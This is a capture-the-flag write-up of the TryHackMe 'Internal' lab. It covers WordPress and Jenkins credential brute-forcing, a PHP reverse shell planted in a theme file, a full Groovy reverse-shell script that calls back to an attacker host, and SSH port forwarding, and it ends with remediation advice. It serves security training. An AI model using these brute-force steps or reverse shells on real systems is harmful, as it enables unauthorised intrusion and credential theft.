TryHackMe - Internal
Difficulty Rating: Hard
Creator: @TheMayor
Internal is supposed to be a ‘Penetration Testing Challenge’ that simulates a security engineer conducting an external, web app, and internal assessment of the provided virtual environment.
Summary
- WordPress Admin had a weak password.
- Found plain text credentials on WordPress Server
- Exploited an Internal Jenkins Instance to gain access to a Docker Container
- Found plain text credentials to root on the Docker Container
Tools Used
- Autorecon
- Dirsearch
- WPScan
Enumeration
Before we start let’s update our /etc/hosts/
file to map the internal.thm
domain to the Machine IP.
As always, we start with a port scan to reveal open ports on the network.
AutoRecon:
AutoRecon shows us that port 22 (SSH) is open and port 80 (HTTP) is open.
Let’s see what’s running on port 80:
It looks like a default apache welcome page is running. We should probably enumerate the directories to find some more information about the application.
Dirsearch:
python3 dirsearch.py -u http://10.10.151.247 -e *
[22:36:14] 301 - 313B - /blog -> http://10.10.151.247/blog/
[22:36:16] 200 - 4KB - /blog/wp-login.php
[22:36:30] 200 - 11KB - /index.html
[22:36:31] 301 - 319B - /javascript -> http://10.10.151.247/javascript/
[22:36:42] 301 - 319B - /phpmyadmin -> http://10.10.151.247/phpmyadmin/
[22:36:44] 200 - 10KB - /phpmyadmin/
Dirsearch found multiple directories that we can now work with. Visiting the /blog
directory brings us to a WordPress installation.
/blog/wp-login.php:
Navigating around the blog doesn’t seem to provide any value. The next step in this enumeration phase is finding a valid user that can login to gain access to the WordPress Admin Panel.
WPScan:
root@kali:~/Desktop/THM/Internal# wpscan --url http://10.10.151.247/blog --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.151.247/blog/ [10.10.151.247]
[+] Started: Mon Aug 24 22:44:56 2020
Interesting Finding(s):
...
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <=====================================================================================> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
We found a valid user: admin
Let’s use WPScan again to brute-force the login page and gain administrative access to the WordPress CMS.
root@kali:~/Desktop/THM/Internal# wpscan --url http://internal.thm/blog/ --passwords /usr/share/wordlists/rockyou.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://internal.thm/blog/ [10.10.151.247]
[+] Started: Mon Aug 24 22:57:09 2020
Interesting Finding(s):
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / m*****ys
/blog/wp-admin/
Now that we’re authenticated as admin, we can edit, view, and delete any post or even upload a reverse shell!
While browsing, I noticed a Private “To-Do List” post by admin.
It looks like we found credentials for a user named
william
.
Initial Access
Since we have administrative access to the WordPress installation, we can upload PHP code to the server to gain a remote shell on our attacker machine. Head over to http://internal.thm/blog/wp-admin/theme-editor.php
and place a PHP Reverse shell into the 404.php
template.
Now click ‘Update File.’
Next, we want to setup a netcat listener on our attacker machine:
root@kali:~/Desktop/THM/Internal# nc -nlvp 1234
listening on [any] 1234 ...
Now everything is in place to gain a shell. Execute the PHP reverse shell by visiting the following URL http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
. Our listener should’ve received a connection from the server:
Let’s spawn a TTY Shell:
python -c 'import pty; pty.spawn("/bin/sh")'
Privilege Escalation (User)
Navigating around the fileshare, I found an interesting file called wp-save.txt
.
$ cat wp-save.txt
Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:bu******23
We found creds for Aubreanna
! Let’s use these to SSH into the machine and gain a more stable shell.
ssh aubreanna@internal.thm
Along with the user flag in Aubreanna’s home directory, we have a jenkins.txt
file.
Privilege Escalation (Root)
$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
It looks like we’re going to have to utilize SSH Port Forwarding to access this Internal Jenkins Instance running through Docker.
To setup the SSH Port-Forward run the following command on our kali machine:
$ ssh -L 9000:localhost:8080 aubreanna@internal.thm
FalconSpy has a great post explaining SSH Port-Forwarding/Tunneling.
Now, if we visit localhost:9000
in our browser, the Jenkins Instance should pop up.
None of the credentials that we’ve gathered worked on this login page. So it looks like we’re going to have to brute-force some new ones. Using the Metasploit module auxiliary/scanner/http/jenkins_login
, we can enumerate a valid credential pair that will allow us access to the Jenkins Server.
msf5 auxiliary(scanner/http/jenkins_login) > set USERNAME admin
USERNAME => admin
msf5 auxiliary(scanner/http/jenkins_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf5 auxiliary(scanner/http/jenkins_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/http/jenkins_login) > set RHOSTS localhost
RHOSTS => localhost
msf5 auxiliary(scanner/http/jenkins_login) > set RPORT 9000
RPORT => 9000
msf5 auxiliary(scanner/http/jenkins_login) > run
...
[+] 127.0.0.1:9000 - Login Successful: admin:sp*****ob
Using the credentials, we just found we are now able to authenticate with the Jenkins application successfully. Upon first glance, it seems there is no build history for us to see, so our next move is to try to gain code execution on the server running this Jenkins Application.
If we navigate to Manage Jenkins --> Script Console
, we will be able to execute an arbitrary Groovy Script and gain a reverse shell.
Reverse Shell for Groovy Console:
String host="10.10.X.X";
int port=4444;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Before running the script, make sure to setup a listener on your machine.
$cd /opt
$cat note.txt
Aubreanna,
Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you
need access to the root user account.
root:tr*********123
Now we have credentials to the root
account, let’s try to SSH in.
$ ssh root@internal.thm
root@internal.thm's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
...
Last login: Mon Aug 3 19:59:17 2020 from 10.6.2.56
root@internal:~#
Remediations
WordPress Application
- WordPress Admin password length should be greater than or equal to 15 characters.
- Disable XMLRPC.php so attackers can’t enumerate users.
- Never store credentials in WordPress post.
WordPress Server
- Don’t store user credentials in plaintext on server filesystem.
Jenkins (Docker Container)
- Jenkins Admin password length should be greater than or equal to 15 characters.
- Don’t store credentials in plain text, even if the filesystem is ‘secure’ / ‘segregrated’ in a virtual environment.
Side Note: DB credentials to the WordPress Server were found on the server machine. If the WordPress site had a more extensive user database, then this could’ve lead to more passwords being found to use within the network.